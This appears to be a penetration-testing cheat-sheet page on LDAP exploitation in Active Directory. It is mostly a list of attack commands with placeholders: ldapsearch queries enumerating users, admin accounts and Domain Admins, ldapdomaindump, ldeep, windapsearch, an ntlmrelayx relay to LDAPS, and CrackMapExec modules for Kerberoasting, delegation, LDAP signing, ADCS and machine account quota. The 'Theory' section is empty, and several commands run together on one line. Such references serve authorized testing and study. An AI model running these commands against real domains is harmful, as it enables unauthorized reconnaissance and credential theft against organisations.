LDAP
Lightweight Directory Access Protocol (LDAP) holds a pivotal role for authentication and retrieving information, especially within Microsoft's Active Directory.
Theory
Practical Exploitation:
ldapsearch -x -h <target_IP> -p 389 -s base naming_contexts
ldapsearch -x -h <target_IP> -p 389 -b "<base_DN>" -s sub "(objectClass=*)"python ldapdomaindump.py -u <username> -p <password> <target_IP>ldeep ldap -u <username> -p <password> -d <target_domain> -s ldap://<DC_IP> windapsearch -d <target_domain> -U <username> -P <password> -U ntlmrelayx.py -t ldaps://<DC_IP> -# Keberoasting/ASRepRoasting
cme ldap <DC_IP> -u <username> -p <password> --kerberoasting output.txt
# Delegation
cme ldap <DC_IP> -u <username> -p <password> --trusted-for-delegation
# Check for LDAP Signing
cme ldap <DC_IP> -u <username> -p <password> -M ldap-checker
# list PKIs/CAs
cme ldap <DC_IP> -u <username> -p <password> -M adcs
# list subnets referenced in AD-SS
cme ldap <DC_IP> -u <username> -p <password> -M subnets
# machine account quota
cme ldap <DC_IP> -u <username> -p <password> -M maq
# users description
cme ldap <DC_IP> -u <username> -p <password> -M get-desc-usersldapsearch -x -h <target_IP> -p 389 -b "<base_DN>" -s sub "(&(objectCategory=person)(objectClass=user))"ldapsearch -x -h <target_IP> -p 389 -b "<base_DN>" -s sub "(|(adminCount=1)(servicePrincipalName=*))"ldapsearch -x -h <target_IP> -p 389 -b "<base_DN>" -s sub "(&(memberOf=CN=Domain Admins,CN=Users,<base_DN>)(objectClass=user))"References:
Last updated